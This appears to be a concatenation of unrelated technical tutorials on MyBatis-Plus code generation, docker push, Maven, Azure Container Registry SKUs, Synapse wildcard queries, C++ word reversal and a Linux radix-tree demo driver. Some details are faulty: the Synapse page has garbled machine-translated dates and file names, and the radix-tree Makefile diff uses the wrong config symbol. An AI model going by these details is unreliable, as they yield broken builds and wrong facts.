### 2.3 通用信息配置
在代码最开始，配置一下`数据库`、`父包名`等通用信息。如下图所示。
### 2.3 单模块使用示例
1、在`main`函数中，启用`simpleGenerator()` 方法，如下图所示。
2、根据`注释`，结合自己项目实际，修改 `simpleGenerator()` 方法，如下图所示。
3、执行`main`函数，在`控制台`输入相关信息，然后`回车`键执行，如下图所示。
4、即可看到生成的文件，如下图所示。
以上就是单模块的使用示例。
### 2.5 多模块使用示例
1、在`main`函数中，启用`completeGenerator()` 方法，如下图所示。
2、根据注释，以及项目实际情况，修改各个文件保存的模块、路径名，如下图所示。
3、执行`main`函数，在`控制台`输入相关信息，然后`回车`键执行。
4、即可看到生成的代码，如下图所示。
> 注：上图示例仅在模拟环境下，测试生成路径、包名的准确性，并非真实项目截图。
>
> 经过测试，路径、包名均无误。
以上就是MP集成最新版代码生成器的完整源码+示例。 | 19,379 | Apache-2.0 |
---
title: docker的push操作
name: docker-push
date: 2019-05-25
id: 0
tags: [docker]
categories: []
abstract: ""
---
docker的push有许多版本
当前只建立在push到远程的docker hub仓库
<!--more-->
docker的push有许多版本
当前只建立在push到远程的docker hub仓库
<!--more-->
首先docker desktop要登录到docker hub上
加入本地刚刚生成了一个新的镜像名为myubuntu，标签为latest
我们使用`docker tag`为其修改远程仓库的标签
`docker tag ubuntu:latest landers1037/ubuntu:test1.0`
操作是 把本地的`ubuntu:latest`镜像tag修改为远程仓库的`ubuntu:test1.0`
其中`ubuntu`是远程仓库名，没有会自动创建，`test1.0`是tag
`docker images`
查看本地镜像是否应用更改
`docker push landers1037/ubuntu:test1.0`
开始推送到docker hub | 568 | Apache-2.0 |
---
layout: post
title: "Java Maven 相关知识点的总结"
subtitle: " \"Java Maven\""
date: 2016-6-01 11:00:00
author: "hohoTT"
header-img: "img/writing_img/2016-6-01/post-bg.jpg"
catalog: true
tags:
- Java
- Web
- Maven
---
## Maven 介绍
**Apache Maven**，是一个软件（特别是 **Java** 软件）`项目管理` 及 `自动构建` 工具，由Apache软件基金会所提供。基于项目对象模型（缩写：**POM**）概念，**Maven** 利用一个中央信息片断能管理一个项目的 `构建`、`报告` 和 `文档` 等步骤。
**Maven** 也可被用于 `构建` 和 `管理` 各种项目，例如 **C#，Ruby，Scala** 和其他语言编写的项目。**Maven** 曾是 **Jakarta** 项目的子项目，现为由 **Apache** 软件基金会主持的独立 **Apache项目**。
## Maven 项目的目录结构
src
-main
-java
-package
-test
-java
-package
resources
groupId 就是项目的包名
artifactId 是模块名
按照这个结构进行 **Java Maven** 项目的搭建，对初始化创建的 `不完整` 的 **Maven结构** 按照上面的结构进行补全
## Maven 中常用到的命令
#### 命令介绍
mvn -v 查看 maven 版本
compile 编译
test 测试
package 打包
clean 删除 target
install 安装 jar 包到本地仓库中
#### 创建目录的两种方式
`创建目录` 的两种方式：
1. archetype:generate
自动安装搭建 **maven** 的项目结构骨架，但是之后要输入一些有关 **pom.xml** 中的内容
2. archetype:generate
-DgroupId=com.wt.mavenAutoCreate `组织名，公司网址的反写+项目名`
-DartifactId=mavenAutoCreate-service `项目名-模块名`
-Dversion=1.0.0-SNAPSHOT `版本号`
-Dpackage=com.wt.mavenAutoCreate `代码所存在的包`
#### archetype 插件
用于创建符合 maven 规定的目录结构
坐标
构件
仓库
本地仓库和远程仓库
镜像仓库
配置 `-Dmaven.multiModuleProjectDirectory=$M2_HOME` 注意此时的 **JDK** 版本需要设置为 `1.7` 的版本，`1.8` 的版本会报错
## Maven 中依赖的介绍
依赖的第一部分讲解：
**maven-a、maven-b、maven-c** 三个项目的一开关系为：
1. `maven-a` 依赖于 `maven-b`
2. `maven-c` 依赖于 `maven-a`
所以 `maven-c` 依赖于 `maven-b`
依赖的第二部分讲解：（越接近依赖与哪一个）
c - > a - > b
2.0 2.0 2.4
`maven-b` 中使用的版本为 2.4
`maven-a` 中使用的版本为 2.0
因为 `maven-c` 离 `maven-a` 近，所以版本为2.0
`maven-c` 中使用的版本为 2.0
依赖的第三部分讲解：（距离相同时，依赖与加载的顺序，先加载先依赖）
依赖的继承：
实现 **maven项目** 中的依赖继承关系，创建一个 **父maven项目** **maven-parent**，使得 **maven-b** 继承与 **maven-parent**，实现代码的复用
## Maven 仓库位置修改及配置文件的相关设置
找到 **settings.xml** 文件，添加以下的配置即可
以下的操作均为对 **settings.xml** 文件的相关操作
#### 仓库位置的修改
```xml
<localRepository>F:/Maven/repo</localRepository>
```
#### 修改 maven web 工程默认的jdk版本
```xml
<profile>
<id>jdk-1.7</id>
<activation>
<activeByDefault>true</activeByDefault>
<jdk>1.7</jdk>
</activation>
<properties>
<maven.compiler.source>1.7</maven.compiler.source>
<maven.compiler.target>1.7</maven.compiler.target>
<maven.compiler.compilerVersion>1.7</maven.compiler.compilerVersion>
</properties>
</profile>
```
#### maven 配置文件中修改仓库的位置，修改为英国的仓库
```xml
<mirror>
<id>UK</id>
<name>UK Central</name>
<url>http://uk.maven.org/maven2</url>
<mirrorOf>central</mirrorOf>
</mirror>
```
## Maven 项目配置 Tomcat 服务器
共有 `两种方式`，均属于 **pom.xml** 文件的配置
#### 第一种方式
```xml
<build>
<finalName>maven-webDemo</finalName>
<plugins>
<!-- 以下为嵌入Tomcat服务器 -->
<plugin>
<groupId>org.apache.tomcat.maven</groupId>
<artifactId>tomcat7-maven-plugin</artifactId>
<version>2.1</version>
<configuration>
<port>8080</port>
<path>/maven-webDemo</path>
<uriEncoding>UTF-8</uriEncoding>
<finalName>maven-webDemo</finalName>
<server>tomcat7</server>
</configuration>
<!-- 以下的配置为在打包成功后使用tomcat:run来运行tomcat服务 -->
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>run</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
```
#### 第二种方式
```xml
<build>
<finalName>maven-webDemo</finalName>
<plugins>
<!-- 以下为嵌入Tomcat服务器 -->
<plugin>
<groupId>org.apache.tomcat.maven</groupId>
<artifactId>tomcat7-maven-plugin</artifactId>
<version>2.2</version>
<!-- 以下的配置为在打包成功后使用tomcat:run来运行tomcat服务 -->
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>run</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
```
**推荐使用** `第二种方式` 进行 **Maven** 项目中的 **Tomcat 服务器** 配置
配置结束之后，**maven build** 时直接输入命令 **clean package** 即可: )
## 著作权声明
本文首次发布于 [hohoTT's Blog](http://www.hohott.wang/)，转载请保留 [http://www.hohott.wang/2016/06/01/Java-Maven-Summary/](http://www.hohott.wang/2016/06/01/Java-Maven-Summary/) 以上链接并附上作者 **hohoTT**。如果您喜欢，还可以关注我的微信公众号 **hohoTT** , 或者扫一扫下方的微信公众号二维码即可 ^_^。
<div align="center"><img src="http://www.hohott.wang/img/WeiXinImg.jpg"/></div> | 4,337 | Apache-2.0 |
---
title: Azure Container Registry SKU
description: "Azure Container Registry で使用可能なさまざまなサービス階層の比較"
services: container-registry
author: mmacy
manager: timlt
ms.service: container-registry
ms.topic: article
ms.date: 12/20/2017
ms.author: marsma
ms.openlocfilehash: 15179fa3e3567f92a5eae69ba9a684addc3138dd
ms.sourcegitcommit: 68aec76e471d677fd9a6333dc60ed098d1072cfc
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 12/18/2017
---
# <a name="azure-container-registry-skus"></a>Azure Container Registry SKU
Azure Container Registry (ACR) は、SKU と呼ばれる複数のサービス階層で使用できます。 これらの SKU は、Azure におけるプライベート Docker レジストリの容量と使用パターンに合ったさまざまなオプションと予測可能な価格を提供します。
| SKU | 管理者常駐型 | [説明] |
| --- | :-------: | ----------- |
| **Basic** | [はい] | Azure Container Registry について学習する開発者向けのコスト最適化エントリ ポイント。 Basic レジストリには Standard および Premium と同じプログラム機能があります (Azure Active Directory 認証の統合、イメージ削除、および Web フック) が、サイズと使用の制約があります。 |
| **Standard** | [はい] | Standard レジストリは、Basic と同じ機能を提供しますが、ストレージ制限とイメージ スループットが拡大されています。 Standard レジストリは、ほとんどの運用シナリオのニーズを満たすはずです。 |
| **Premium** | [はい] | Premium レジストリは、ストレージや同時実行操作などの制約の上限を高め、大容量シナリオを可能にします。 イメージ スループット容量の増加に加えて、Premium では、[geo レプリケーション][container-registry-geo-replication]のような機能が追加され、複数のリージョン間で 1 つのレジストリが管理され、各デプロイにネットワーク上の近いレジストリが確保されます。 |
| クラシック | いいえ | クラシック レジストリ SKU により、Azure での Azure Container Registry サービスの最初のリリースが可能になりました。 クラシック レジストリは、Azure がサブスクリプションに作成するストレージ アカウントによってサポートされ、スループットの向上や geo レプリケーションなどの高いレベルの機能を提供する ACR の機能を制限します。 この機能制限のため、クラシック SKU は将来非推奨にする予定です。 |
選択する SKU レベルが高いほど、パフォーマンスは高く、スケールも大きくなりますが、プログラムの機能はすべての管理対象 SKU で共通です。 複数のサービス レベルがあることで、最初は Basic を導入し、その後、レジストリの使用量の増加に伴って Standard や Premium に切り替えることができます。
> [!NOTE]
> クラシック レジストリ SKU の計画的非推奨のため、すべての新しいレジストリに Basic、Standard、または Premium を使用することをお勧めします。 既存のクラシック レジストリの変換については、[クラシック レジストリのアップグレード][container-registry-upgrade]に関するページを参照してください。
>
## <a name="managed-vs-unmanaged"></a>管理対象と管理対象外
Basic、Standard、Premium の各 SKU はまとめて "*管理対象*" のレジストリと呼ばれます。一方、クラシック SKU は "*管理対象外*" のレジストリと呼ばれます。 両者の主な違いは、コンテナー イメージの保存方法にあります。
### <a name="managed-basic-standard-premium"></a>管理対象 (Basic、Standard、Premium)
管理対象レジストリの背後にあるのは、Azure によって管理された Azure Storage アカウントです。 つまりイメージの格納先となるストレージ アカウントは、ユーザーの Azure サブスクリプションには表示されません。 管理対象レジストリに該当するいずれかの SKU を使用することで、いくつかの利点が得られます。それらの利点については、[クラシック レジストリのアップグレード][container-registry-upgrade]に関するページで詳しく説明します。 この記事では、管理対象レジストリの SKU とその機能について詳しく取り上げます。
### <a name="unmanaged-classic"></a>管理対象外 (クラシック)
クラシック レジストリが "管理対象外" と呼ばれるのは、その背後にあるストレージ アカウントが "*ユーザーの*" Azure サブスクリプション内に存在するためです。 そのためコンテナー イメージの格納先となるストレージ アカウントは、ユーザーが自ら管理する必要があります。 管理対象外レジストリでは、実際のニーズに変化が生じても (管理対象レジストリに[アップグレード][container-registry-upgrade]する以外) SKU を切り替えることができず、また、管理対象レジストリのいくつかの機能が利用できません (コンテナー イメージの削除、[geo レプリケーション][container-registry-geo-replication]、[webhook][container-registry-webhook] など)。
クラシック レジストリをいずれかの管理対象 SKU にアップグレードする方法について詳しくは、[クラシック レジストリのアップグレード][container-registry-upgrade]に関するページをご覧ください。
## <a name="sku-feature-matrix"></a>SKU 機能マトリックス
次の表に、Basic、Standard、および Premium サービス階層の機能と制限について説明します。
[!INCLUDE [container-instances-limits](../../includes/container-registry-limits.md)]
## <a name="changing-skus"></a>SKU の変更
レジストリの SKU 変更は、Azure CLI または Azure Portal で行うことができます。 変更後の SKU が最大記憶域容量の要件を満たしていれば、管理対象 SKU は自由に移動することができます。 いずれかの管理対象 SKU にクラシックから切り替えた場合は、二度とクラシックに戻すことはできません。あくまで一方向の変換となります。
### <a name="azure-cli"></a>Azure CLI
Azure CLI で SKU を切り替えるには、[az acr update][az-acr-update] コマンドを使用します。 たとえば Premium への切り替えは、次のようにして行います。
```azurecli
az acr update --name myregistry --sku Premium
```
### <a name="azure-portal"></a>Azure ポータル
Azure Portal のコンテナー レジストリの **[Overview]\(概要\)** で、**[Update]\(更新\)** を選択し、[SKU] ドロップダウン リストから新しい **SKU** を選択します。
![Azure Portal でのコンテナー レジストリ SKU の更新][update-registry-sku]
ご利用のレジストリがクラシック レジストリである場合、管理対象 SKU を Azure Portal 内で選択することはできません。 あらかじめ管理対象レジストリに[アップグレード][container-registry-upgrade]しておく必要があります (「[クラシックからの変更](#changing-from-classic)」を参照)。
## <a name="changing-from-classic"></a>クラシックからの変更
管理対象外のクラシック レジストリを管理対象の SKU (Basic、Standard、Premium のいずれか) に移行する際は、別途注意しなければならない点があります。 クラシック レジストリが大量のイメージを格納していて、何ギガバイトものサイズになると、移行プロセスにしばらく時間がかかる場合があります。 また、移行が完了するまでは、`docker push` の操作が無効になります。
クラシック レジストリをいずれかの管理対象 SKU にアップグレードする方法について詳しくは、「[Upgrade a Classic container registry (クラシック コンテナー レジストリのアップグレード)][container-registry-upgrade]」をご覧ください。
## <a name="pricing"></a>価格
各 Azure Container Registry SKU の価格については、「[Container Registry の価格][container-registry-pricing]」を参照してください。
## <a name="next-steps"></a>次の手順
**Azure Container Registry ロードマップ**
GitHub の [ACR ロードマップ][acr-roadmap]を参照して、サービスの今後の機能に関する情報を確認してください。
**Azure Container Registry UserVoice**
[ACR UserVoice][container-registry-uservoice] で、新機能に関する提案を送信し、投票してください。
<!-- IMAGES -->
[update-registry-sku]: ./media/container-registry-skus/update-registry-sku.png
<!-- LINKS - External -->
[acr-roadmap]: https://aka.ms/acr/roadmap
[container-registry-pricing]: https://azure.microsoft.com/pricing/details/container-registry/
[container-registry-uservoice]: https://feedback.azure.com/forums/903958-azure-container-registry
<!-- LINKS - Internal -->
[az-acr-update]: /cli/azure/acr#az_acr_update
[container-registry-geo-replication]: container-registry-geo-replication.md
[container-registry-upgrade]: container-registry-upgrade.md
[container-registry-webhook]: container-registry-webhook.md | 5,398 | CC-BY-4.0 |
---
title: 使用 SQL 点播（预览版）查询文件夹和多个 CSV 文件
description: SQL 点播（预览版）支持使用通配符读取多个文件/文件夹，这类似于 Windows 操作系统中使用的通配符。
services: synapse analytics
author: azaricstefan
ms.service: synapse-analytics
ms.topic: how-to
ms.subservice: ''
ms.date: 04/15/2020
ms.author: v-stazar
ms.reviewer: jrasnick, carlrab
ms.openlocfilehash: 8f8af7fab7113e38b91c3f5f1bcc41b4e4fba2c1
ms.sourcegitcommit: 849bb1729b89d075eed579aa36395bf4d29f3bd9
ms.translationtype: MT
ms.contentlocale: zh-CN
ms.lasthandoff: 04/28/2020
ms.locfileid: "81457359"
---
# <a name="query-folders-and-multiple-csv-files"></a>查询文件夹和多个 CSV 文件
本文介绍如何在 Azure Synapse Analytics 中使用 SQL 点播（预览版）编写查询。
SQL 点播支持使用通配符读取多个文件/文件夹，这类似于 Windows 操作系统中使用的通配符。 但是，由于允许使用多个通配符，因此存在更大的灵活性。
## <a name="prerequisites"></a>必备条件
阅读本文其余部分之前，请务必查看下面列出的文章：
- [首次设置](query-data-storage.md#first-time-setup)
- [先决条件](query-data-storage.md#prerequisites)
## <a name="read-multiple-files-in-folder"></a>读取文件夹中的多个文件
你将使用文件夹*csv/出租车*来执行示例查询。 它包含 NYC 出租车-从7月2016日到6月 6 2018 日，记录数据。
*Csv/出租车*中的文件按年份和月份命名：
- yellow_tripdata_2016-07
- yellow_tripdata_2016-08
- yellow_tripdata_2016-09
- ...
- yellow_tripdata_2018-04
- yellow_tripdata_2018-05
- yellow_tripdata_2018-06-01.5。1
每个文件都具有以下结构：
[First 10 rows of the CSV file](./media/querying-folders-and-multiple-csv-files/nyc-taxi.png)
## <a name="read-all-files-in-folder"></a>读取文件夹中的所有文件
下面的示例从*csv/出租车*文件夹中读取所有 NYC 的黄色出租车数据文件，并返回乘客和搭乘的总次数。 它还显示聚合函数的使用情况。
```sql
SELECT
YEAR(pickup_datetime) as [year],
SUM(passenger_count) AS passengers_total,
COUNT(*) AS [rides_total]
FROM OPENROWSET(
BULK 'https://sqlondemandstorage.blob.core.windows.net/csv/taxi/*.*',
FORMAT = 'CSV',
FIRSTROW = 2
)
WITH (
vendor_id VARCHAR(100) COLLATE Latin1_General_BIN2,
pickup_datetime DATETIME2,
dropoff_datetime DATETIME2,
passenger_count INT,
trip_distance FLOAT,
rate_code INT,
store_and_fwd_flag VARCHAR(100) COLLATE Latin1_General_BIN2,
pickup_location_id INT,
dropoff_location_id INT,
payment_type INT,
fare_amount FLOAT,
extra FLOAT,
mta_tax FLOAT,
tip_amount FLOAT,
tolls_amount FLOAT,
improvement_surcharge FLOAT,
total_amount FLOAT
) AS nyc
GROUP BY
YEAR(pickup_datetime)
ORDER BY
YEAR(pickup_datetime);
```
> [!NOTE]
> 使用单个 OPENROWSET 访问的所有文件必须具有相同的结构（即，列数和数据类型）。
### <a name="read-subset-of-files-in-folder"></a>读取文件夹中的文件子集
下面的示例使用通配符从*csv/出租车*文件夹中读取 2017 NYC 的黄色出租车数据文件，并返回每个付款类型的总费用金额。
```sql
SELECT
payment_type,
SUM(fare_amount) AS fare_total
FROM OPENROWSET(
BULK 'https://sqlondemandstorage.blob.core.windows.net/csv/taxi/yellow_tripdata_2017-*.csv',
FORMAT = 'CSV',
FIRSTROW = 2
)
WITH (
vendor_id VARCHAR(100) COLLATE Latin1_General_BIN2,
pickup_datetime DATETIME2,
dropoff_datetime DATETIME2,
passenger_count INT,
trip_distance FLOAT,
rate_code INT,
store_and_fwd_flag VARCHAR(100) COLLATE Latin1_General_BIN2,
pickup_location_id INT,
dropoff_location_id INT,
payment_type INT,
fare_amount FLOAT,
extra FLOAT,
mta_tax FLOAT,
tip_amount FLOAT,
tolls_amount FLOAT,
improvement_surcharge FLOAT,
total_amount FLOAT
) AS nyc
GROUP BY payment_type
ORDER BY payment_type;
```
> [!NOTE]
> 使用单个 OPENROWSET 访问的所有文件必须具有相同的结构（即，列数和数据类型）。
## <a name="read-folders"></a>读取文件夹
您向 OPENROWSET 提供的路径也可以是指向文件夹的路径。 以下各节包含这些查询类型。
### <a name="read-all-files-from-specific-folder"></a>读取特定文件夹中的所有文件
您可以使用文件级别通配符读取文件夹中的所有文件，如[读取文件夹中的所有文件](#read-all-files-in-folder)中所示。 但是，有一种方法可以查询文件夹并使用该文件夹中的所有文件。
如果 OPENROWSET 中提供的路径指向某个文件夹，则该文件夹中的所有文件都将用作查询的源。 以下查询将读取*csv/出租车*文件夹中的所有文件。
> [!NOTE]
> 请注意以下查询中路径的末尾是否存在/。 它表示文件夹。 如果省略/，则查询将以一个名为*出租车*的文件为目标。
```sql
SELECT
YEAR(pickup_datetime) as [year],
SUM(passenger_count) AS passengers_total,
COUNT(*) AS [rides_total]
FROM OPENROWSET(
BULK 'https://sqlondemandstorage.blob.core.windows.net/csv/taxi/',
FORMAT = 'CSV',
FIRSTROW = 2
)
WITH (
vendor_id VARCHAR(100) COLLATE Latin1_General_BIN2,
pickup_datetime DATETIME2,
dropoff_datetime DATETIME2,
passenger_count INT,
trip_distance FLOAT,
rate_code INT,
store_and_fwd_flag VARCHAR(100) COLLATE Latin1_General_BIN2,
pickup_location_id INT,
dropoff_location_id INT,
payment_type INT,
fare_amount FLOAT,
extra FLOAT,
mta_tax FLOAT,
tip_amount FLOAT,
tolls_amount FLOAT,
improvement_surcharge FLOAT,
total_amount FLOAT
) AS nyc
GROUP BY
YEAR(pickup_datetime)
ORDER BY
YEAR(pickup_datetime);
```
> [!NOTE]
> 使用单个 OPENROWSET 访问的所有文件必须具有相同的结构（即，列数和数据类型）。
### <a name="read-all-files-from-multiple-folders"></a>读取多个文件夹中的所有文件
可以通过使用通配符从多个文件夹读取文件。 下面的查询将从*csv*文件夹中的所有文件夹（名称以*t*开头并以*i*结尾）读取所有文件。
> [!NOTE]
> 请注意以下查询中路径的末尾是否存在/。 它表示文件夹。 如果省略/，则查询将改为针对名为*t*i*的文件。
```sql
SELECT
YEAR(pickup_datetime) as [year],
SUM(passenger_count) AS passengers_total,
COUNT(*) AS [rides_total]
FROM OPENROWSET(
BULK 'https://sqlondemandstorage.blob.core.windows.net/csv/t*i/',
FORMAT = 'CSV',
FIRSTROW = 2
)
WITH (
vendor_id VARCHAR(100) COLLATE Latin1_General_BIN2,
pickup_datetime DATETIME2,
dropoff_datetime DATETIME2,
passenger_count INT,
trip_distance FLOAT,
rate_code INT,
store_and_fwd_flag VARCHAR(100) COLLATE Latin1_General_BIN2,
pickup_location_id INT,
dropoff_location_id INT,
payment_type INT,
fare_amount FLOAT,
extra FLOAT,
mta_tax FLOAT,
tip_amount FLOAT,
tolls_amount FLOAT,
improvement_surcharge FLOAT,
total_amount FLOAT
) AS nyc
GROUP BY
YEAR(pickup_datetime)
ORDER BY
YEAR(pickup_datetime);
```
> [!NOTE]
> 使用单个 OPENROWSET 访问的所有文件必须具有相同的结构（即，列数和数据类型）。
由于只有一个与条件相匹配的文件夹，因此查询结果与 "[读取文件夹中的所有文件](#read-all-files-in-folder)" 相同。
## <a name="multiple-wildcards"></a>多个通配符
可以在不同的路径级别使用多个通配符。 例如，你可以将以前的查询扩充为仅读取包含2017数据的文件，从所有文件夹中的名称以*t*开头，并以*i*结尾。
> [!NOTE]
> 请注意以下查询中路径的末尾是否存在/。 它表示文件夹。 如果省略/，则查询将改为针对名为*t*i*的文件。
> 每个查询的最大限制为10个通配符。
```sql
SELECT
YEAR(pickup_datetime) as [year],
SUM(passenger_count) AS passengers_total,
COUNT(*) AS [rides_total]
FROM OPENROWSET(
BULK 'https://sqlondemandstorage.blob.core.windows.net/csv/t*i/yellow_tripdata_2017-*.csv',
FORMAT = 'CSV',
FIRSTROW = 2
)
WITH (
vendor_id VARCHAR(100) COLLATE Latin1_General_BIN2,
pickup_datetime DATETIME2,
dropoff_datetime DATETIME2,
passenger_count INT,
trip_distance FLOAT,
rate_code INT,
store_and_fwd_flag VARCHAR(100) COLLATE Latin1_General_BIN2,
pickup_location_id INT,
dropoff_location_id INT,
payment_type INT,
fare_amount FLOAT,
extra FLOAT,
mta_tax FLOAT,
tip_amount FLOAT,
tolls_amount FLOAT,
improvement_surcharge FLOAT,
total_amount FLOAT
) AS nyc
GROUP BY
YEAR(pickup_datetime)
ORDER BY
YEAR(pickup_datetime);
```
> [!NOTE]
> 使用单个 OPENROWSET 访问的所有文件必须具有相同的结构（即，列数和数据类型）。
由于只有一个与条件相匹配的文件夹，因此查询结果与 "[在文件夹中读取文件的子集](#read-subset-of-files-in-folder)" 和 "[读取特定文件夹中的所有文件](#read-all-files-from-specific-folder)" 相同。 [查询 Parquet 文件](query-parquet-files.md)中介绍了更复杂的通配符使用方案。
## <a name="next-steps"></a>后续步骤
有关详细信息，请参阅[查询特定文件](query-specific-files.md)一文。 | 7,664 | CC-BY-4.0 |
---
layout: post_cpp
title: 4-15：翻转单词顺序
date: 2015-04-15
category: technology
tags: [algorithm,datastructure]
description: 翻转单词顺序
---
### 问题：翻转单词顺序
翻转单词顺序，但单词中字母顺序保持不变。<!-- more -->
<pre class="brush: cpp">
void reverseword(char* begin, char* end)
{
if (begin != NULL && end != NULL)
{
while (begin < end)
{
char temp = *begin;
*begin = *end;
*end = temp;
begin++;
end--;
}
}
else
return ;
}
char* reversesentence(char* begin)
{
if (begin == NULL)
return NULL;
char* end = begin;
while (*end != '\0')
end++;
end--;
reverseword(begin, end);
end = begin;
char* result = begin;
while (*begin != '\0')
{
if (*end == '\0' || *end == ' ')
{
reverseword(begin, end - 1);
begin = end;
end++;
}
else if (*begin == ' ')
{
begin++;
end++;
}
else
{
end++;
}
}
return result;
}
void test1()
{
char sentence[] = "hello world";
cout << reversesentence(sentence) << endl;
}
void test2()
{
char sentence[] = "world";
cout << reversesentence(sentence) << endl;
}
void test3()
{
char sentence[] = " ";
cout << reversesentence(sentence) << endl;
}
</pre> | 1,129 | MIT |
---
layout: post
title: "radix_tree_iter_init"
date: 2019-05-29 05:30:30 +0800
categories: [HW]
excerpt: Radix-Tree radix_tree_iter_init().
tags:
- Radix-Tree
---
> [Github: radix_tree_iter_init](https://github.com/BiscuitOS/HardStack/tree/master/Algorithem/tree/radix-tree/API/radix_tree_iter_init)
>
> Email: BuddyZhang1 <buddy.zhang@aliyun.com>
# 目录
> - [源码分析](#源码分析)
>
> - [实践](#实践)
>
> - [附录](#附录)
-----------------------------------
# <span id="源码分析">源码分析</span>
{% highlight ruby %}
/**
* radix_tree_iter_init - initialize radix tree iterator
*
* @iter: pointer to iterator state
* @start: iteration starting index
* Returns: NULL
*/
static __always_inline void __rcu **
radix_tree_iter_init(struct radix_tree_iter *iter, unsigned long start)
{
/*
* Leave iter->tags uninitialized. radix_tree_next_chunk() will fill it
* in the case of a successful tagged chunk lookup. If the lookup was
* unsuccessful or non-tagged then nobody cares about ->tags.
*
* Set index to zero to bypass next_index overflow protection.
* See the comment in radix_tree_next_chunk() for details.
*/
iter->index = 0;
iter->next_index = start;
return NULL;
}
{% endhighlight %}
radix_tree_iter_init() 函数用于初始化一个 struct radix_tree_iter 结构。struct
radix_tree_iter 结构用于遍历 radix_tree 的时候，存储每一个 slot。函数直接将
iter 的 index 成员设置为 0， next_index 成员用于指向下一个 slot 的索引值，最后
返回 NULL。
--------------------------------------------------
# <span id="实践">实践</span>
> - [驱动源码](#驱动源码)
>
> - [驱动安装](#驱动安装)
>
> - [驱动配置](#驱动配置)
>
> - [驱动编译](#驱动编译)
>
> - [驱动运行](#驱动运行)
>
> - [驱动分析](#驱动分析)
#### <span id="驱动源码">驱动源码</span>
{% highlight c %}
/*
* Radix tree.
*
* (C) 2019.06.01 <buddy.zhang@aliyun.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/mm.h>
/* header of radix-tree */
#include <linux/radix-tree.h>
/*
* Radix-tree RADIX_TREE_MAP: 6
* (root)
* |
* o---------o---------o
* | |
* (0x0) (0x2)
* | |
* o-------o------o o---------o
* | | |
* (0x0) (0x2) (0x2)
* | | |
* o--------o------o | o--------o--------o
* | | | | | |
* (0x0) (0x1) (0x0) (0x0) (0x1) (0x3)
* A B C D E F
*
* A: 0x00000000
* B: 0x00000001
* C: 0x00000080
* D: 0x00080080
* E: 0x00080081
* F: 0x00080083
*/
/* node */
struct node {
char *name;
unsigned long id;
};
/* Radix-tree root */
static struct radix_tree_root BiscuitOS_root;
/* node */
static struct node node0 = { .name = "IDA", .id = 0x20000 };
static struct node node1 = { .name = "IDB", .id = 0x60000 };
static struct node node2 = { .name = "IDC", .id = 0x80000 };
static struct node node3 = { .name = "IDD", .id = 0x30000 };
static struct node node4 = { .name = "IDE", .id = 0x90000 };
static __init int radix_demo_init(void)
{
struct radix_tree_iter iter;
void __rcu **slot;
/* Initialize radix-tree root */
INIT_RADIX_TREE(&BiscuitOS_root, GFP_ATOMIC);
/* Insert node into Radix-tree */
radix_tree_insert(&BiscuitOS_root, node0.id, &node0);
radix_tree_insert(&BiscuitOS_root, node1.id, &node1);
radix_tree_insert(&BiscuitOS_root, node2.id, &node2);
radix_tree_insert(&BiscuitOS_root, node3.id, &node3);
radix_tree_insert(&BiscuitOS_root, node4.id, &node4);
radix_tree_iter_init(&iter, 0);
/* Iterate over radix tree slot */
radix_tree_for_each_slot(slot, &BiscuitOS_root, &iter, 0)
printk("Radix-Tree: %lx\n", iter.index);
return 0;
}
device_initcall(radix_demo_init);
{% endhighlight %}
#### <span id="驱动安装">驱动安装</span>
驱动的安装很简单，首先将驱动放到 drivers/BiscuitOS/ 目录下，命名为 radix.c，
然后修改 Kconfig 文件，添加内容参考如下：
{% highlight bash %}
diff --git a/drivers/BiscuitOS/Kconfig b/drivers/BiscuitOS/Kconfig
index 4edc5a5..1a9abee 100644
--- a/drivers/BiscuitOS/Kconfig
+++ b/drivers/BiscuitOS/Kconfig
@@ -6,4 +6,14 @@ if BISCUITOS_DRV
config BISCUITOS_MISC
bool "BiscuitOS misc driver"
+config BISCUITOS_RADIX_TREE
+ bool "radix-tree"
+
+if BISCUITOS_RADIX_TREE
+
+config DEBUG_BISCUITOS_RADIX_TREE
+ bool "radix_tree_iter_init"
+
+endif # BISCUITOS_RADIX_TREE
+
endif # BISCUITOS_DRV
{% endhighlight %}
接着修改 Makefile，请参考如下修改：
{% highlight bash %}
diff --git a/drivers/BiscuitOS/Makefile b/drivers/BiscuitOS/Makefile
index 82004c9..9909149 100644
--- a/drivers/BiscuitOS/Makefile
+++ b/drivers/BiscuitOS/Makefile
@@ -1 +1,2 @@
obj-$(CONFIG_BISCUITOS_MISC) += BiscuitOS_drv.o
+obj-$(CONFIG_BISCUITOS_RBTREE) += radix.o
--
{% endhighlight %}
#### <span id="驱动配置">驱动配置</span>
驱动配置请参考下面文章中关于驱动配置一节。在配置中，勾选如下选项，如下：
{% highlight bash %}
Device Driver--->
[*]BiscuitOS Driver--->
[*]radix-tree
[*]radix_tree_iter_init()
{% endhighlight %}
具体过程请参考：
> [Linux 4.19 开发环境搭建 -- 驱动配置](https://biscuitos.github.io/blog/Linux-4.19-arm32-Usermanual/#%E9%A9%B1%E5%8A%A8%E9%85%8D%E7%BD%AE)
#### <span id="驱动编译">驱动编译</span>
驱动编译也请参考下面文章关于驱动编译一节：
> [Linux 4.19 开发环境搭建 -- 驱动编译](https://biscuitos.github.io/blog/Linux-4.19-arm32-Usermanual/#%E7%BC%96%E8%AF%91%E9%A9%B1%E5%8A%A8)
#### <span id="驱动运行">驱动运行</span>
驱动的运行，请参考下面文章中关于驱动运行一节：
> [Linux 4.19 开发环境搭建 -- 驱动运行](https://biscuitos.github.io/blog/Linux-4.19-arm32-Usermanual/#%E9%A9%B1%E5%8A%A8%E8%BF%90%E8%A1%8C)
启动内核，并打印如下信息：
{% highlight ruby %}
usbcore: registered new interface driver usbhid
usbhid: USB HID core driver
Radix-Tree: 20000
Radix-Tree: 30000
Radix-Tree: 60000
Radix-Tree: 80000
Radix-Tree: 90000
aaci-pl041 10004000.aaci: ARM AC'97 Interface PL041 rev0 at 0x10004000, irq 24
aaci-pl041 10004000.aaci: FIFO 512 entries
oprofile: using arm/armv7-ca9
{% endhighlight %}
#### <span id="驱动分析">驱动分析</span>
radix_tree 的迭代器 struct radix_tree_iter
-----------------------------------------------
# <span id="附录">附录</span>
